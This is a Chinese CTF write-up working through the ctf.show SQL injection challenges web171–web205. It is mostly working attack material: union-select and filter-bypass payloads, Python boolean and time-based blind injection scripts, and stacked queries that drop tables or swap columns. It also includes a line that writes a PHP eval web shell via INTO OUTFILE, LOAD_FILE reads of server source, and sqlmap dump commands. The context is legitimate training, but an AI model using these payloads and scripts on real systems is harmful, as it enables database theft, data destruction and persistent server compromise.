目录
无过滤注入
web171
web172
web173
web174
web175
时间盲注
写马
过滤注入
web176
web177
web178
web179
web180
web181-182
web183
web184
web185-186
web187
web188
web189
web190
布尔盲注
web191
web192
web193
web194
堆叠注入
web195
web196
web197
web198
web199-200
sqlmap
web201
web202
web203
web204
web205
SQL注入知识清单
无过滤注入
web171
常规之常规,不解释
1' order by 3--+
-1' union select 1,2,3--+
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_user" --+
-1' union select 1,2,group_concat(password) from ctfshow_user --+
web172
查询输出时做了限制,会检测username那一栏是否有flag,那我们不查username就是了(
-1' union select 1,group_concat(password) from ctfshow_user2 --+
web173
查询输出的限制相当于在查询结果中不出现flag即可
上题payload改一改也能打
-1' union select 1,2,group_concat(password) from ctfshow_user3 --+
但这是出题人良心好,如果查询结果里就硬塞了一个flag怎么办呢
可以用下面这些方法
-1' union select 1,2,hex(group_concat(password)) from ctfshow_user3 --+
查询结果拖到Hex2text解码即可
-1' union select 1,2,to_base64(group_concat(password)) from ctfshow_user3 --+
查询结果拖到base64_decode解码即可
web174
这个过滤太初生了,查询结果直接就不能存在"flag"或数字
抓包发现api路径, 存在布尔盲注
随便写个脚本就好
import requests
url = "http://1ab1425e-31a3-49ac-9d12-8e2c44b6ce0f.challenge.ctf.show/api/v4.php?id=1' and "
result = ''
for i in range(1,46,1):
for j in range(32,128,1):
payload = f'1=if(ascii(substr((select password from ctfshow_user4 where username="flag"),{i},1))>{j},1,0) -- -'
req=requests.get(url+payload)
if "admin" not in req.text:
result+=chr(j)
print(result)
break
运行拿到flag
web175
就是回显过滤了ASCII所有字符,基本就无回显了呗,两种思路
时间盲注
简单尝试发现回显都是查询错误(毕竟这个过滤太严格hhh),布尔盲注也没辙,于是用时间盲注。
发现存在时间盲注。
写个脚本就好(可以穷举可以二分,为方便理解我就用前者写了)
贴出一篇文章SQL 时间盲注应该使用二分查找吗? – I'm Nota!
import requests
url = "http://9d22a1ab-4d02-4f59-a0ed-bac4b636fd54.challenge.ctf.show/api/v5.php?id=1' and "
result = ''
for i in range(1,46,1):
for j in range(32,128,1):
payload = f'if(ascii(substr((select password from ctfshow_user5 where username="flag"),{i},1))>{j},sleep(1),0) -- -'
try:
req=requests.get(url=url+payload,timeout=0.5)
except Exception as e:
continue
result += chr(j)
print(result)
break
写马
-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php' --+
访问1.php发现成功写入
但flag在数据库里,所以要用蚁剑进行查库
过滤注入
web176
大写绕过即可
-1' union Select 1,2,group_concat(password) from ctfshow_user--+
web177
/**/绕过空格
-1'/**/union/**/select/**/1,2,group_concat(password)/**/from/**/ctfshow_user%23
web178
过滤了空格与*号,可以用%09,%0a,%0b,%0c,%0d,%a0绕过
-1'%09union%09select%091,2,group_concat(password)%09from%09ctfshow_user%23
web179
%09,%0a,%0b,%0d
均被过滤,换%0c就行
-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23
web180
%23,--+被过滤,问题不大,反正加号也是被解析成空格,我们找个能用的空格就行
发现--%0c就可
-1'%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user--%0c
web181-182
我测,空格全被过滤了,这得极限构造啊
巧用括号
-1'or(id=26)and'1'='1
web183
post传参,返回值只有查询表pass这一列数据的数量
过滤了空格,等号这些
可以在from后面拼接where限定来进行盲注,=用regexp或like替代
写脚本即可,这里regexp可换成like,(ctfshow_user)可以换成`ctfshow_user`
import requests
import re
url = 'http://94871076-19eb-4291-81ed-c2733fdf2d5b.challenge.ctf.show/select-waf.php'
flagstr = r"{abcdefghijklmnopqrstuvwxyz-0123456789}"
res = ""
for i in range(1,46):
for j in flagstr:
data = {
'tableName': f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
}
r = requests.post(url, data=data)
if re.search(r"user_count = 1;", r.text):
res += j
print(res)
break
web184
where和引号也被禁了,放出了空格,where可以用having替代,引号可以用16进制绕过
字符转16进制的函数自己写一下就好
import requests
url = 'http://02fe71c2-3ace-43bc-9dac-00dbbcfa5840.challenge.ctf.show/select-waf.php'
flagstr = '{abcdefghijklmnopqrstuvwxyz-0123456789}'
def str2hex(str):
a = ""
for x in str:
a += hex(ord(x))[2:]
return a
def main():
flag = ''
for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp 0x63746673686f77{}".format(str2hex(flag + x))
}
response = requests.post(url, data=data)
if response.text.find("user_count = 1;") > 0:
flag += x
print("ctfshow"+flag)
break
else:
continue
if __name__ == '__main__':
main()
web185-186
数字也被过滤了,得考虑怎么构造出数字来
本地可以先试一试,通过以下方式便可以构造任意数字
现在我们都有数字了,为何不再大胆一点,构造出字母呢(不用引号也可)
select concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))
事实上这是完全可以的,如下assic码配合char成功构造出了字母(Hello的H)
下面写脚本即可
import requests
url = "http://fdc9e7c5-9b02-4606-b8e1-2043aa27497f.challenge.ctf.show/select-waf.php"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
def formatString(str):
temp = "concat("
for x in str:
temp += char2ascii(x)
return temp[:-1] + ")"
def char2ascii(ch):
num = ord(ch)
temp = "char("
for x in range(num):
temp += "true+"
return temp[:-1] + "),"
def main():
flag = "ctfshow"
for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp {}".format(formatString(flag + x))
}
response = requests.post(url, data=data)
if response.text.find("user_count = 1;") > 0:
flag += x
print(flag)
break
else:
continue
if __name__ == '__main__':
main()
web187
典,一眼md5注入
特殊字符串ffifdyop在md5后会变成'or'6�]��!r,��b
拼接后就变成
select count(*) from ctfshow_user where username = 'admin' and password= ''or'6'
就可以作为admin登录
拿到flag
web188
弱类型比较,比较巧
用户名密码均输入0即可
web189
给出提示
在 SQL 中,LOAD_FILE()
函数用于从文件系统中读取文件的内容并返回结果。它返回一个字符串值,其中包含指定文件的内容。
经过测试发现输入0和非0的数字时回显不同(弱类型比较你懂的)
利用这点我们可以进行布尔盲注
直接写脚本
import requests
url = "http://c5f6fca9-5745-44a2-8868-e8ef4c90dec8.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(264, 264 + 58):
for j in flagstr:
data = {
"username": "if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i, j),
"password": "0"
}
response = requests.post(url, data=data)
if response.text.find("8d25") > 0:
flag += j
print(flag)
break
else:
continue
web190
简单测出回显不同可以布尔盲注
写脚本直接打
import requests
url = "http://073ec861-5a16-4dbc-8e14-bb92d3298ab6.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,46,1):
for j in range(32,128,1):
# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,j)
# ctfshow_web
# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,j)
# ctfshow_fl0g
# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,j)
# id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, j)
data = {
"username": payload,
"password": "0"
}
response = requests.post(url, data=data)
if response.text.find("u8bef") > 0:
flag += chr(j-1)
print(flag)
break
else:
continue
布尔盲注
web191
过滤了ascii,问题不大,脚本换成ord就可
import requests
url = "http://1a5fb4a5-6440-431e-9064-d46f904d5520.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
for i in range(1,46,1):
for j in range(32,128,1):
# payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,j)
# ctfshow_web
# payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,j)
# ctfshow_fl0g
# payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,j)
# id,f1ag
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i, j)
data = {
"username": payload,
"password": "0"
}
response = requests.post(url, data=data)
if response.text.find("u8bef") > 0:
flag += chr(j-1)
print(flag)
break
else:
continue
web192
ord和hex也过滤了
问题不大,直接用字符也行
继续写脚本
import requests
url = "http://cef6be72-f15d-488a-8d1a-2c4828d19126.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ''
for i in range(1,46):
for j in flagstr:
payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1) regexp '{j}',1,0)='1"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if r.text.find("u8bef") > 0:
flag += j
print(flag)
break
else:
continue
web193
多过滤了substr,相当于连带着substring也被ban了,不过问题不大,换成left即可
LEFT()
函数的语法:
LEFT(original_string, length)
original_string
是要从左侧返回子字符串的原始字符串,而 length
则是要返回的子字符串的长度。如果 original_string
的长度小于 length
,则将返回整个字符串。
import requests
url = "http://91d8f471-1557-4a54-9fd2-7fe7c8ed192b.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ''
for i in range(1,46):
for j in flagstr:
payload = f"admin'and ((left((select f1ag from ctfshow_flxg),{i})='{flag+j}'))#"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if r.text.find("u8bef") > 0:
flag += j
print(flag)
break
else:
continue
web194
left和right都被过滤,问题不大,可以用lpad
在 SQL 中,LPAD()
函数用于将指定字符添加到字符串的左侧,以使字符串达到指定的长度。它接受三个参数:原始字符串、目标长度和要添加的字符。
LPAD()
函数的语法:
LPAD(original_string, target_length, pad_character)
其中,original_string
是要填充的原始字符串,而 target_length
则是要填充后的目标长度。如果 original_string
的长度大于或等于 target_length
,则不会进行填充。pad_character
则是要添加的字符,通常是空格或零。
例如:
写脚本
import requests
url = "http://891cc70a-a028-4423-b01c-8e7526274dc0.challenge.ctf.show/api/"
flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ''
for i in range(1,46):
for j in flagstr:
payload = f"admin'and ((lpad((select f1ag from ctfshow_flxg),{i},'')='{flag+j}'))#"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if r.text.find("u8bef") > 0:
flag += j
print(flag)
break
else:
continue
堆叠注入
web195
select被ban,可以用update来修改密码
username=1;update`ctfshow_user`set`pass`=1&password=1
username=0&password=1
web196
加了限长
这里waf和题述有出入,跟wp打就好
username=1;select(401)&password=401
web197
CURD基本没咋过滤,自由飞翔即可
username=0;drop%20table%20ctfshow_user;create%20table%20ctfshow_user(`username`%20varchar(100),`pass`%20varchar(100));insert%20ctfshow_user(`username`,`pass`)%20value(1,1)&password=1
username=1&password=1
删除旧表,自建新表
web198
drop和create均被过滤,我们可以对alert来动文章
把pass列和id列的名字互换一下,方便我们爆破密码(原id)
因为查询语句是这样写的:
所以username可以写成 0x61646d696e(admin的十六进制),也可写成0
import requests
url = "http://22e80a01-5862-48d6-a71b-d4d5404f0fc9.challenge.ctf.show/api/"
for i in range(100):
if i == 0:
data = {
'username': '0;alter table ctfshow_user change column `pass` `try` varchar(255);alter table ctfshow_user '
'change column `id` `pass` varchar(255);alter table ctfshow_user change column `try` `id` '
'varchar(255);',
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': 0 ,
'password': f'{i}'
}
r = requests.post(url, data=data)
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])
break
web199-200
多过滤了括号,varchar(255)相当于被ban了,那我们可以找text和int这些不含括号的类型替代
import requests
url = "http://73e133a7-3fcc-4fea-b371-d9c4ae32b597.challenge.ctf.show/api/"
for i in range(100):
if i == 0:
data = {
'username': "0;alter table ctfshow_user change column pass tmp text;alter table ctfshow_user change column id pass int;alter table ctfshow_user change column tmp id text",
'password': f'{i}'
}
r = requests.post(url, data=data)
data = {
'username': 0 ,
'password': f'{i}'
}
r = requests.post(url, data=data)
if "登陆成功" in r.json()['msg']:
print(r.json()['msg'])
break
sqlmap
web201
sqlmap是自带UA的,这个我们先不管
python sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show"
python sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show" --dbs
python sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables
python sqlmap.py -u "http://d7845b90-ab09-414c-a47f-74013584c2af.challenge.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump
web202
post方式传参
python sqlmap.py -u "http://7f4b03f9-855e-40da-aa57-77ea82915f59.challenge.ctf.show/api/" --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user --dump
web203
put方式传参
python sqlmap.py -u "http://7265684e-386e-4acc-9773-b7c0aca1758b.challenge.ctf.show/api/" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump
web204
python sqlmap.py -u "http://e719eb49-08d2-48b8-b94f-ce1579528d31.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=0a4c2l8f3h7hflqnlvcmd280uv; ctfshow=5e70f0551adc58e6a35875473d0fdb00" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web205
随便提交一次看一下网络请求,发现getToken.php
或者抓包看也可
python sqlmap.py -u "http://7e61be9f-7631-4777-9c50-965d548a1f3a.challenge.ctf.show/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=plsavtqfneb8l5io7db5knu7q6" --referer=ctf.show -D ctfshow_web --safe-url="http://7e61be9f-7631-4777-9c50-965d548a1f3a.challenge.ctf.show/api/getToken.php" --safe-freq=1 -T ctfshow_flax --dump